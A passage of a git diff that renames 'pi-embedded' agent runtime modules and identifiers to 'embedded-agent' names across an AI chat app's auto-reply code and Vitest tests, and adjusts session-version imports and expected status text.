- vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId).mockReset().mockReturnValue(undefined); + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) + .mockReset() + .mockReturnValue(undefined); } }); @@ -1784,7 +1792,7 @@ describe("runPreparedReply media-only handling", () => { it("queues active room events as followups instead of steering fake prompts", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const abortController = new AbortController(); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "steer", @@ -1792,13 +1800,13 @@ describe("runPreparedReply media-only handling", () => { cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); - vi.mocked(piRuntime.abortEmbeddedPiRun).mockClear(); - vi.mocked(piRuntime.waitForEmbeddedPiRunEnd).mockClear(); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.abortEmbeddedAgentRun).mockClear(); + vi.mocked(embeddedAgentRuntime.waitForEmbeddedAgentRunEnd).mockClear(); vi.mocked(buildInboundUserContextPrefix).mockReturnValueOnce("room context"); await runPreparedReply( @@ -1838,7 +1846,7 @@ describe("runPreparedReply media-only handling", () => { it("uses queued followup abort ownership instead of borrowed active-lane abort ownership", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const activeLaneAbortController = new AbortController(); const sourceAbortController = new AbortController(); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ @@ -1847,11 +1855,11 @@ describe("runPreparedReply media-only handling", () => { cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); vi.mocked(buildInboundUserContextPrefix).mockReturnValueOnce("room context"); await runPreparedReply( @@ -1892,7 +1900,7 @@ describe("runPreparedReply media-only handling", () => { it("detaches queued user requests from superseded source abort signals", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); const abortController = new AbortController(); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "collect", @@ -1900,11 +1908,11 @@ describe("runPreparedReply media-only handling", () => { cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); vi.mocked(buildInboundUserContextPrefix).mockReturnValueOnce("user request context"); await runPreparedReply( @@ -1940,18 +1948,18 @@ describe("runPreparedReply media-only handling", () => { it("queues active room events instead of interrupting active user requests", async () => { const queueSettings = await import("./queue/settings-runtime.js"); - const piRuntime = await import("../../agents/pi-embedded.runtime.js"); + const embeddedAgentRuntime = await import("../../agents/embedded-agent.runtime.js"); vi.mocked(queueSettings.resolveQueueSettings).mockReturnValueOnce({ mode: "interrupt", debounceMs: 500, cap: 20, dropPolicy: "summarize", }); - vi.mocked(piRuntime.resolveActiveEmbeddedRunSessionId) + vi.mocked(embeddedAgentRuntime.resolveActiveEmbeddedRunSessionId) .mockReturnValueOnce("active-session") .mockReturnValueOnce("active-session"); - vi.mocked(piRuntime.isEmbeddedPiRunActive).mockReturnValueOnce(true); - vi.mocked(piRuntime.isEmbeddedPiRunStreaming).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunActive).mockReturnValueOnce(true); + vi.mocked(embeddedAgentRuntime.isEmbeddedAgentRunStreaming).mockReturnValueOnce(true); vi.mocked(buildInboundUserContextPrefix).mockReturnValueOnce("room context"); await runPreparedReply( @@ -1982,8 +1990,8 @@ describe("runPreparedReply media-only handling", () => { expect(call.shouldFollowup).toBe(true); expect(call.isActive).toBe(true); expect(call.resolvedQueue.mode).toBe("interrupt"); - expect(piRuntime.abortEmbeddedPiRun).not.toHaveBeenCalled(); - expect(piRuntime.waitForEmbeddedPiRunEnd).not.toHaveBeenCalled(); + expect(embeddedAgentRuntime.abortEmbeddedAgentRun).not.toHaveBeenCalled(); + expect(embeddedAgentRuntime.waitForEmbeddedAgentRunEnd).not.toHaveBeenCalled(); }); it("keeps room events tool-only when group replies are automatic", async () => { diff --git a/src/auto-reply/reply/get-reply-run.ts b/src/auto-reply/reply/get-reply-run.ts index be9d6153790..ea6008720e6 100644 --- a/src/auto-reply/reply/get-reply-run.ts +++ b/src/auto-reply/reply/get-reply-run.ts @@ -6,12 +6,12 @@ import { } from "../../agents/agent-scope.js"; import { resolveSessionAuthProfileOverride } from "../../agents/auth-profiles/session-override.js"; import type { ExecToolDefaults } from "../../agents/bash-tools.js"; +import { resolveEmbeddedFullAccessState } from "../../agents/embedded-agent-runner/sandbox-info.js"; +import type { EmbeddedFullAccessBlockedReason } from "../../agents/embedded-agent-runner/types.js"; import { resolveFastModeState } from "../../agents/fast-mode.js"; import { runAgentHarnessBeforeMessageWriteHook } from "../../agents/harness/hook-helpers.js"; import { resolveAgentHarnessPolicy } from "../../agents/harness/selection.js"; import { listOpenAIAuthProfileProvidersForAgentRuntime } from "../../agents/openai-codex-routing.js"; -import { resolveEmbeddedFullAccessState } from "../../agents/pi-embedded-runner/sandbox-info.js"; -import type { EmbeddedFullAccessBlockedReason } from "../../agents/pi-embedded-runner/types.js"; import { normalizeProviderId } from "../../agents/provider-id.js"; import { resolveIngressWorkspaceOverrideForSpawnedRun } from "../../agents/spawned-context.js"; import type { SilentReplyPromptMode } from "../../agents/system-prompt.types.js"; @@ -304,8 +304,8 @@ export function buildExecOverridePromptHint(params: { .join("\n"); } -const piEmbeddedRuntimeLoader = createLazyImportLoader( - () => import("../../agents/pi-embedded.runtime.js"), +const embeddedAgentRuntimeLoader = createLazyImportLoader( + () => import("../../agents/embedded-agent.runtime.js"), ); const agentRunnerRuntimeLoader = createLazyImportLoader(() => import("./agent-runner.runtime.js")); const sessionUpdatesRuntimeLoader = createLazyImportLoader( @@ -315,8 +315,8 @@ const sessionStoreRuntimeLoader = createLazyImportLoader( () => import("../../config/sessions/store.runtime.js"), ); -function loadPiEmbeddedRuntime() { - return piEmbeddedRuntimeLoader.load(); +function loadEmbeddedAgentRuntime() { + return embeddedAgentRuntimeLoader.load(); } function loadAgentRunnerRuntime() { @@ -948,14 +948,14 @@ export async function runPreparedReply( inlineMode: perMessageQueueMode, inlineOptions: perMessageQueueOptions, }); - const piRuntime = useFastReplyRuntime + const embeddedAgentRuntime = useFastReplyRuntime ? null - : await traceRunPhase("reply.load_pi_runtime", () => loadPiEmbeddedRuntime()); + : await traceRunPhase("reply.load_embedded_agent_runtime", () => loadEmbeddedAgentRuntime()); const resolveActiveEmbeddedSessionId = (sessionFile = preparedSessionState.sessionFile) => - piRuntime?.resolveActiveEmbeddedRunSessionId(sessionKey) ?? - piRuntime?.resolveActiveEmbeddedRunSessionIdBySessionFile?.(sessionFile); - const sessionLaneKey = piRuntime - ? piRuntime.resolveEmbeddedSessionLane(sessionKey ?? sessionIdFinal) + embeddedAgentRuntime?.resolveActiveEmbeddedRunSessionId(sessionKey) ?? + embeddedAgentRuntime?.resolveActiveEmbeddedRunSessionIdBySessionFile?.(sessionFile); + const sessionLaneKey = embeddedAgentRuntime + ? embeddedAgentRuntime.resolveEmbeddedSessionLane(sessionKey ?? sessionIdFinal) : undefined; const laneSize = sessionLaneKey ? getQueueSize(sessionLaneKey) : 0; const activeRunQueueMode = effectiveResetTriggered ? "interrupt" : resolvedQueue.mode; @@ -972,7 +972,7 @@ export async function runPreparedReply( (laneSize > 0 || activeSessionIdForInterrupt) ) { const cleared = clearCommandLane(sessionLaneKey); - const aborted = piRuntime?.abortEmbeddedPiRun( + const aborted = embeddedAgentRuntime?.abortEmbeddedAgentRun( activeSessionIdForInterrupt ?? preparedSessionState.sessionId, ); logVerbose(`Interrupting ${sessionLaneKey} (cleared ${cleared}, aborted=${aborted})`); @@ -1057,7 +1057,7 @@ export async function runPreparedReply( const replyOperationActiveSessionId = resolveActiveReplyOperationSessionId(); const activeSessionId = embeddedActiveSessionId ?? replyOperationActiveSessionId ?? preparedSessionState.sessionId; - if (!activeSessionId || (!piRuntime && !replyOperationActiveSessionId)) { + if (!activeSessionId || (!embeddedAgentRuntime && !replyOperationActiveSessionId)) { return { activeSessionId: undefined, isActive: false, isStreaming: false }; } if (isOwnPreDispatchOperationSession(activeSessionId)) { @@ -1070,11 +1070,11 @@ export async function runPreparedReply( activeSessionId, isActive: (embeddedActiveSessionId != null && - (piRuntime?.isEmbeddedPiRunActive(embeddedActiveSessionId) ?? false)) || + (embeddedAgentRuntime?.isEmbeddedAgentRunActive(embeddedActiveSessionId) ?? false)) || replyOperationActive, isStreaming: (embeddedActiveSessionId != null && - (piRuntime?.isEmbeddedPiRunStreaming(embeddedActiveSessionId) ?? false)) || + (embeddedAgentRuntime?.isEmbeddedAgentRunStreaming(embeddedActiveSessionId) ?? false)) || (replyOperationActiveSessionId != null && isReplyRunStreamingForSessionId(replyOperationActiveSessionId)), }; @@ -1104,14 +1104,16 @@ export async function runPreparedReply( sessionKey, sessionId: sessionIdFinal, abortActiveRun: (activeRunSessionId) => { - const embeddedAborted = piRuntime?.abortEmbeddedPiRun(activeRunSessionId) ?? false; + const embeddedAborted = + embeddedAgentRuntime?.abortEmbeddedAgentRun(activeRunSessionId) ?? false; const replyOperationAborted = abortReplyRunBySessionId(activeRunSessionId); return embeddedAborted || replyOperationAborted; }, waitForActiveRunEnd: (activeRunSessionId) => isReplyRunActiveForSessionId(activeRunSessionId) ? waitForReplyRunEndBySessionId(activeRunSessionId, REPLY_RUN_IDLE_SETTLE_TIMEOUT_MS) - : (piRuntime?.waitForEmbeddedPiRunEnd(activeRunSessionId) ?? Promise.resolve(undefined)), + : (embeddedAgentRuntime?.waitForEmbeddedAgentRunEnd(activeRunSessionId) ?? + Promise.resolve(undefined)), refreshPreparedState: async () => { preparedSessionState = resolvePreparedSessionState(); ({ authProfileId, authProfileIdSource } = await resolveRuntimeAuthProfile()); @@ -1323,7 +1325,7 @@ export async function runPreparedReply( const latestActiveSessionId = resolveActiveEmbeddedSessionId(latestSessionState.sessionFile) ?? latestSessionState.sessionId; - return piRuntime?.isEmbeddedPiRunActive(latestActiveSessionId) ?? false; + return embeddedAgentRuntime?.isEmbeddedAgentRunActive(latestActiveSessionId) ?? false; }, isStreaming, opts, diff --git a/src/auto-reply/reply/get-reply.fast-path.runtime.test.ts b/src/auto-reply/reply/get-reply.fast-path.runtime.test.ts index 2780291aae5..185eb97d381 100644 --- a/src/auto-reply/reply/get-reply.fast-path.runtime.test.ts +++ b/src/auto-reply/reply/get-reply.fast-path.runtime.test.ts @@ -34,7 +34,7 @@ describe("getReplyFromConfig fast-path runtime", () => { it("keeps old-style runtime tests fast with marked temp-home configs", async () => { await withTempHome(async (home) => { let seenPrompt: string | undefined; - agentMocks.runEmbeddedPiAgent.mockImplementation(async (params) => { + agentMocks.runEmbeddedAgent.mockImplementation(async (params) => { seenPrompt = params.prompt; return makeEmbeddedTextResult("ok"); }); @@ -67,7 +67,7 @@ describe("getReplyFromConfig fast-path runtime", () => { it("routes structured native command turns through the target session before legacy sync", async () => { await withTempHome(async (home) => { - agentMocks.runEmbeddedPiAgent.mockResolvedValue(makeEmbeddedTextResult("ok")); + agentMocks.runEmbeddedAgent.mockResolvedValue(makeEmbeddedTextResult("ok")); await getReplyFromConfig( { @@ -90,7 +90,7 @@ describe("getReplyFromConfig fast-path runtime", () => { makeReplyConfig(home) as OpenClawConfig, ); - expect(agentMocks.runEmbeddedPiAgent).toHaveBeenCalledWith( + expect(agentMocks.runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ sessionKey: "agent:main:telegram:direct:target", }), @@ -100,7 +100,7 @@ describe("getReplyFromConfig fast-path runtime", () => { it("ignores stale native legacy source for structured normal turns before routing", async () => { await withTempHome(async (home) => { - agentMocks.runEmbeddedPiAgent.mockResolvedValue(makeEmbeddedTextResult("ok")); + agentMocks.runEmbeddedAgent.mockResolvedValue(makeEmbeddedTextResult("ok")); await getReplyFromConfig( { @@ -124,7 +124,7 @@ describe("getReplyFromConfig fast-path runtime", () => { makeReplyConfig(home) as OpenClawConfig, ); - expect(agentMocks.runEmbeddedPiAgent).toHaveBeenCalledWith( + expect(agentMocks.runEmbeddedAgent).toHaveBeenCalledWith( expect.objectContaining({ sessionKey: "agent:main:telegram:direct:source", }), diff --git a/src/auto-reply/reply/model-selection.test.ts b/src/auto-reply/reply/model-selection.test.ts index f0d3b2c0659..27e74809a6a 100644 --- a/src/auto-reply/reply/model-selection.test.ts +++ b/src/auto-reply/reply/model-selection.test.ts @@ -490,7 +490,7 @@ describe("createModelSelectionState catalog loading", () => { expect(loadModelCatalog).toHaveBeenCalledOnce(); }); - it("preserves OpenAI API-key session auth when model policy explicitly pins PI", async () => { + it("preserves OpenAI API-key session auth when model policy explicitly pins OpenClaw", async () => { authProfileStoreMock.store = { version: 1, profiles: { @@ -510,7 +510,7 @@ describe("createModelSelectionState catalog loading", () => { providers: { openai: { baseUrl: "https://api.openai.com/v1", - agentRuntime: { id: "pi" }, + agentRuntime: { id: "openclaw" }, models: [], }, }, @@ -788,7 +788,7 @@ describe("createModelSelectionState respects session model override", () => { }), ); - expect(state.provider).toBe("kimi"); + expect(state.provider).toBe("kimi-coding"); expect(state.model).toBe("kimi-code"); }); diff --git a/src/auto-reply/reply/normalize-reply.ts b/src/auto-reply/reply/normalize-reply.ts index caf9f858e38..ed5405dd1b1 100644 --- a/src/auto-reply/reply/normalize-reply.ts +++ b/src/auto-reply/reply/normalize-reply.ts @@ -1,4 +1,4 @@ -import { sanitizeUserFacingText } from "../../agents/pi-embedded-helpers/sanitize-user-facing-text.js"; +import { sanitizeUserFacingText } from "../../agents/embedded-agent-helpers/sanitize-user-facing-text.js"; import { hasReplyPayloadContent } from "../../interactive/payload.js"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; import { stripHeartbeatToken } from "../heartbeat.js"; diff --git a/src/auto-reply/reply/prompt-prelude.ts b/src/auto-reply/reply/prompt-prelude.ts index 5c1fc98f52b..afccdac31ac 100644 --- a/src/auto-reply/reply/prompt-prelude.ts +++ b/src/auto-reply/reply/prompt-prelude.ts @@ -1,4 +1,4 @@ -import type { CurrentInboundPromptContext } from "../../agents/pi-embedded-runner/run/params.js"; +import type { CurrentInboundPromptContext } from "../../agents/embedded-agent-runner/run/params.js"; import type { InboundEventKind } from "../../channels/inbound-event/kind.js"; import { annotateInterSessionPromptText } from "../../sessions/input-provenance.js"; import { normalizeOptionalString } from "../../shared/string-coerce.js"; diff --git a/src/auto-reply/reply/queue/cleanup.test.ts b/src/auto-reply/reply/queue/cleanup.test.ts index 39b8dae683b..bbeee422a4a 100644 --- a/src/auto-reply/reply/queue/cleanup.test.ts +++ b/src/auto-reply/reply/queue/cleanup.test.ts @@ -22,7 +22,7 @@ vi.mock("../../../process/command-queue.js", () => ({ clearCommandLane: commandQueueMocks.clearCommandLane, })); -vi.mock("../../../agents/pi-embedded-runner/lanes.js", () => ({ +vi.mock("../../../agents/embedded-agent-runner/lanes.js", () => ({ resolveEmbeddedSessionLane: (key: string) => `session:${key.trim() || "main"}`, })); diff --git a/src/auto-reply/reply/queue/cleanup.ts b/src/auto-reply/reply/queue/cleanup.ts index beef22c7a21..5363a6b04ba 100644 --- a/src/auto-reply/reply/queue/cleanup.ts +++ b/src/auto-reply/reply/queue/cleanup.ts @@ -1,4 +1,4 @@ -import { resolveEmbeddedSessionLane } from "../../../agents/pi-embedded-runner/lanes.js"; +import { resolveEmbeddedSessionLane } from "../../../agents/embedded-agent-runner/lanes.js"; import { clearCommandLane } from "../../../process/command-queue.js"; import { normalizeOptionalString } from "../../../shared/string-coerce.js"; import { clearFollowupDrainCallback } from "./drain.js"; diff --git a/src/auto-reply/reply/queue/types.ts b/src/auto-reply/reply/queue/types.ts index 58ccb0dc961..06ce950ceaf 100644 --- a/src/auto-reply/reply/queue/types.ts +++ b/src/auto-reply/reply/queue/types.ts @@ -1,6 +1,6 @@ import type { AutoFallbackPrimaryProbe } from "../../../agents/agent-scope.js"; import type { ExecToolDefaults } from "../../../agents/bash-tools.js"; -import type { CurrentInboundPromptContext } from "../../../agents/pi-embedded-runner/run/params.js"; +import type { CurrentInboundPromptContext } from "../../../agents/embedded-agent-runner/run/params.js"; import type { SkillSnapshot } from "../../../agents/skills.js"; import type { SilentReplyPromptMode } from "../../../agents/system-prompt.types.js"; import type { InboundEventKind } from "../../../channels/inbound-event/kind.js"; diff --git a/src/auto-reply/reply/reply-payloads-dedupe.ts b/src/auto-reply/reply/reply-payloads-dedupe.ts index 2d33c4ef44e..06be608958a 100644 --- a/src/auto-reply/reply/reply-payloads-dedupe.ts +++ b/src/auto-reply/reply/reply-payloads-dedupe.ts @@ -1,5 +1,5 @@ -import { isMessagingToolDuplicate } from "../../agents/pi-embedded-helpers.js"; -import type { MessagingToolSend } from "../../agents/pi-embedded-messaging.types.js"; +import { isMessagingToolDuplicate } from "../../agents/embedded-agent-helpers.js"; +import type { MessagingToolSend } from "../../agents/embedded-agent-messaging.types.js"; import { getChannelPlugin } from "../../channels/plugins/index.js"; import { getLoadedChannelPluginForRead } from "../../channels/plugins/registry-loaded-read.js"; import { normalizeAnyChannelId } from "../../channels/registry.js"; diff --git a/src/auto-reply/reply/runtime-plugins.runtime.ts b/src/auto-reply/reply/runtime-plugins.runtime.ts deleted file mode 100644 index 9a7872300f9..00000000000 --- a/src/auto-reply/reply/runtime-plugins.runtime.ts +++ /dev/null @@ -1 +0,0 @@ -export { ensureRuntimePluginsLoaded } from "../../agents/runtime-plugins.js"; diff --git a/src/auto-reply/reply/session-fork.runtime.ts b/src/auto-reply/reply/session-fork.runtime.ts index 14375aaae11..2a44cf1f907 100644 --- a/src/auto-reply/reply/session-fork.runtime.ts +++ b/src/auto-reply/reply/session-fork.runtime.ts @@ -2,13 +2,12 @@ import crypto from "node:crypto"; import fs from "node:fs/promises"; import path from "node:path"; import { - CURRENT_SESSION_VERSION, migrateSessionEntries, parseSessionEntries, type FileEntry, - type SessionEntry as PiSessionEntry, + type SessionEntry as AgentSessionEntry, type SessionHeader, -} from "@earendil-works/pi-coding-agent"; +} from "../../agents/sessions/session-manager.js"; import { derivePromptTokens } from "../../agents/usage.js"; import { resolveSessionFilePath, @@ -18,6 +17,7 @@ import { resolveFreshSessionTotalTokens, type SessionEntry as StoreSessionEntry, } from "../../config/sessions/types.js"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; import { readLatestRecentSessionUsageFromTranscriptAsync } from "../../gateway/session-utils.fs.js"; import { readRegularFile } from "../../infra/fs-safe.js"; @@ -25,7 +25,7 @@ type ForkSourceTranscript = { cwd: string; sessionDir: string; leafId: string | null; - branchEntries: PiSessionEntry[]; + branchEntries: AgentSessionEntry[]; labelsToWrite: Array<{ targetId: string; label: string; timestamp: string }>; }; @@ -106,7 +106,7 @@ export async function resolveParentForkTokenCountRuntime(params: { return maxPositiveTokenCount(cachedTokens, byteEstimateTokens); } -function isSessionEntry(entry: FileEntry): entry is PiSessionEntry { +function isSessionEntry(entry: FileEntry): entry is AgentSessionEntry { return ( entry.type !== "session" && typeof (entry as { id?: unknown }).id === "string" && @@ -115,15 +115,15 @@ function isSessionEntry(entry: FileEntry): entry is PiSessionEntry { ); } -function buildEntryIndex(entries: PiSessionEntry[]): Map { +function buildEntryIndex(entries: AgentSessionEntry[]): Map { return new Map(entries.map((entry) => [entry.id, entry])); } function readBranch(params: { - byId: Map; + byId: Map; leafId: string | null; -}): PiSessionEntry[] { - const branchEntries: PiSessionEntry[] = []; +}): AgentSessionEntry[] { + const branchEntries: AgentSessionEntry[] = []; let current = params.leafId ? params.byId.get(params.leafId) : undefined; while (current) { branchEntries.unshift(current); @@ -146,7 +146,7 @@ function generateEntryId(existingIds: Set): string { } function collectBranchLabels(params: { - allEntries: PiSessionEntry[]; + allEntries: AgentSessionEntry[]; pathEntryIds: Set; }): Array<{ targetId: string; label: string; timestamp: string }> { const labelsToWrite: Array<{ targetId: string; label: string; timestamp: string }> = []; @@ -195,9 +195,9 @@ function buildBranchLabelEntries(params: { labelsToWrite: Array<{ targetId: string; label: string; timestamp: string }>; pathEntryIds: Set; lastEntryId: string | null; -}): PiSessionEntry[] { +}): AgentSessionEntry[] { let parentId = params.lastEntryId; - const labelEntries: PiSessionEntry[] = []; + const labelEntries: AgentSessionEntry[] = []; for (const { targetId, label, timestamp } of params.labelsToWrite) { const labelEntry = { type: "label", @@ -206,7 +206,7 @@ function buildBranchLabelEntries(params: { timestamp, targetId, label, - } satisfies PiSessionEntry; + } satisfies AgentSessionEntry; params.pathEntryIds.add(labelEntry.id); labelEntries.push(labelEntry); parentId = labelEntry.id; diff --git a/src/auto-reply/reply/session-hooks-context.test.ts b/src/auto-reply/reply/session-hooks-context.test.ts index 0154bf6da30..42d0e85502a 100644 --- a/src/auto-reply/reply/session-hooks-context.test.ts +++ b/src/auto-reply/reply/session-hooks-context.test.ts @@ -31,7 +31,7 @@ vi.mock("../../agents/harness/registry.js", () => ({ resetRegisteredAgentHarnessSessions: sessionCleanupMocks.resetRegisteredAgentHarnessSessions, })); -vi.mock("../../agents/pi-bundle-mcp-tools.js", () => ({ +vi.mock("../../agents/agent-bundle-mcp-tools.js", () => ({ retireSessionMcpRuntime: sessionCleanupMocks.retireSessionMcpRuntime, })); diff --git a/src/auto-reply/reply/session-transcript-replay.ts b/src/auto-reply/reply/session-transcript-replay.ts index b44a501abe7..ab64ed538ca 100644 --- a/src/auto-reply/reply/session-transcript-replay.ts +++ b/src/auto-reply/reply/session-transcript-replay.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import fsp from "node:fs/promises"; import path from "node:path"; -import { CURRENT_SESSION_VERSION } from "@earendil-works/pi-coding-agent"; +import { CURRENT_SESSION_VERSION } from "../../config/sessions/version.js"; /** Tail kept so DM continuity survives silent session rotations. */ export const DEFAULT_REPLAY_MAX_MESSAGES = 6; diff --git a/src/auto-reply/reply/session.test.ts b/src/auto-reply/reply/session.test.ts index 36b7d2219b9..b9e4533c6dc 100644 --- a/src/auto-reply/reply/session.test.ts +++ b/src/auto-reply/reply/session.test.ts @@ -2,11 +2,11 @@ import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import * as bootstrapCache from "../../agents/bootstrap-cache.js"; import { testing as sessionMcpTesting, getOrCreateSessionMcpRuntime, -} from "../../agents/pi-bundle-mcp-tools.js"; +} from "../../agents/agent-bundle-mcp-tools.js"; +import * as bootstrapCache from "../../agents/bootstrap-cache.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { SessionEntry } from "../../config/sessions.js"; import { formatZonedTimestamp } from "../../infra/format-time/format-datetime.ts"; diff --git a/src/auto-reply/reply/session.ts b/src/auto-reply/reply/session.ts index 9fe59f27401..7132c32baff 100644 --- a/src/auto-reply/reply/session.ts +++ b/src/auto-reply/reply/session.ts @@ -1,10 +1,10 @@ import crypto from "node:crypto"; import path from "node:path"; +import { retireSessionMcpRuntime } from "../../agents/agent-bundle-mcp-tools.js"; import { resolveSessionAgentId } from "../../agents/agent-scope.js"; import { clearBootstrapSnapshotOnSessionRollover } from "../../agents/bootstrap-cache.js"; import { getCliSessionBinding } from "../../agents/cli-session.js"; import { resetRegisteredAgentHarnessSessions } from "../../agents/harness/registry.js"; -import { retireSessionMcpRuntime } from "../../agents/pi-bundle-mcp-tools.js"; import { normalizeChatType } from "../../channels/chat-type.js"; import { resolveGroupSessionKey } from "../../config/sessions/group.js"; import { resolveSessionLifecycleTimestamps } from "../../config/sessions/lifecycle.js"; diff --git a/src/auto-reply/reply/skill-tool-dispatch.runtime.ts b/src/auto-reply/reply/skill-tool-dispatch.runtime.ts index 7043f315c3f..62237b0cde9 100644 --- a/src/auto-reply/reply/skill-tool-dispatch.runtime.ts +++ b/src/auto-reply/reply/skill-tool-dispatch.runtime.ts @@ -1,11 +1,11 @@ -import { createOpenClawTools } from "../../agents/openclaw-tools.runtime.js"; import { resolveEffectiveToolPolicy, resolveGroupToolPolicy, resolveInheritedToolPolicyForSession, resolveSubagentToolPolicyForSession, -} from "../../agents/pi-tools.policy.js"; -import type { AnyAgentTool } from "../../agents/pi-tools.types.js"; +} from "../../agents/agent-tools.policy.js"; +import type { AnyAgentTool } from "../../agents/agent-tools.types.js"; +import { createOpenClawTools } from "../../agents/openclaw-tools.runtime.js"; import { resolveSandboxRuntimeStatus } from "../../agents/sandbox/runtime-status.js"; import { resolveSenderToolPolicy } from "../../agents/sender-tool-policy.js"; import type { SkillCommandSpec } from "../../agents/skills.js"; diff --git a/src/auto-reply/status.test.ts b/src/auto-reply/status.test.ts index 323f573746e..9f4adb07173 100644 --- a/src/auto-reply/status.test.ts +++ b/src/auto-reply/status.test.ts @@ -3,6 +3,7 @@ import path from "node:path"; import { withTempHome } from "openclaw/plugin-sdk/test-env"; import { afterEach, describe, expect, it, vi } from "vitest"; import { normalizeTestText } from "../../test/helpers/normalize-text.js"; +import { testing as cliBackendsTesting } from "../agents/cli-backends.js"; import { MODEL_CONTEXT_TOKEN_CACHE } from "../agents/context-cache.js"; import type { OpenClawConfig } from "../config/config.js"; import { applyModelOverrideToSessionEntry } from "../sessions/model-overrides.js"; @@ -34,11 +35,26 @@ vi.mock("../plugins/commands.js", () => ({ afterEach(() => { vi.restoreAllMocks(); + cliBackendsTesting.resetDepsForTest(); listPluginCommands.mockReset(); listPluginCommands.mockImplementation(() => []); MODEL_CONTEXT_TOKEN_CACHE.clear(); }); +function registerAnthropicCliBackendForTest(): void { + cliBackendsTesting.setDepsForTest({ + resolveRuntimeCliBackends: () => [ + { + id: "claude-cli", + modelProvider: "anthropic", + pluginId: "anthropic", + config: { command: "claude" }, + bundleMcp: false, + }, + ], + }); +} + describe("buildStatusMessage", () => { it("summarizes agent readiness and context usage", () => { const text = buildStatusMessage({ @@ -49,7 +65,7 @@ describe("buildStatusMessage", () => { apiKey: "test-key", models: [ { - id: "pi:opus", + id: "test:opus", cost: { input: 1, output: 1, @@ -63,7 +79,7 @@ describe("buildStatusMessage", () => { }, } as unknown as OpenClawConfig, agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", contextTokens: 32_000, }, sessionEntry: { @@ -88,7 +104,7 @@ describe("buildStatusMessage", () => { const normalized = normalizeTestText(text); expect(normalized).toContain("OpenClaw"); - expect(normalized).toContain("Model: anthropic/pi:opus"); + expect(normalized).toContain("Model: anthropic/test:opus"); expect(normalized).toContain("api-key"); expect(normalized).toContain("Tokens: 1.2k in / 800 out"); expect(normalized).toContain("Cost: $0.0020"); @@ -97,7 +113,7 @@ describe("buildStatusMessage", () => { expect(normalized).toContain("Session: agent:main:main"); expect(normalized).toContain("updated 10m ago"); expect(normalized).toContain("Execution: direct"); - expect(normalized).toContain("Runtime: OpenClaw Pi Default"); + expect(normalized).toContain("Runtime: OpenClaw Default"); expect(normalized).not.toContain("Runner:"); expect(normalized).toContain("Think: medium"); expect(normalized).not.toContain("verbose"); @@ -159,7 +175,7 @@ describe("buildStatusMessage", () => { it("does not render stale totalTokens as current context usage", () => { const text = buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/test:opus", contextTokens: 1_000_000, }, sessionEntry: { @@ -186,7 +202,7 @@ describe("buildStatusMessage", () => { it("uses estimated context budget status when fresh totalTokens are unavailable", () => { const text = buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/claude-sonnet-4.6", contextTokens: 1_000_000, }, sessionEntry: { @@ -202,7 +218,7 @@ describe("buildStatusMessage", () => { source: "pre-prompt-estimate", updatedAt: 1, provider: "anthropic", - model: "pi:opus", + model: "claude-sonnet-4.6", route: "fits", shouldCompact: false, estimatedPromptTokens: 640_000, @@ -233,7 +249,7 @@ describe("buildStatusMessage", () => { it("prefers fresh totalTokens over estimated context budget status", () => { const text = buildStatusMessage({ agent: { - model: "anthropic/pi:opus", + model: "anthropic/claude-sonnet-4.6", contextTokens: 1_000_000, }, sessionEntry: { @@ 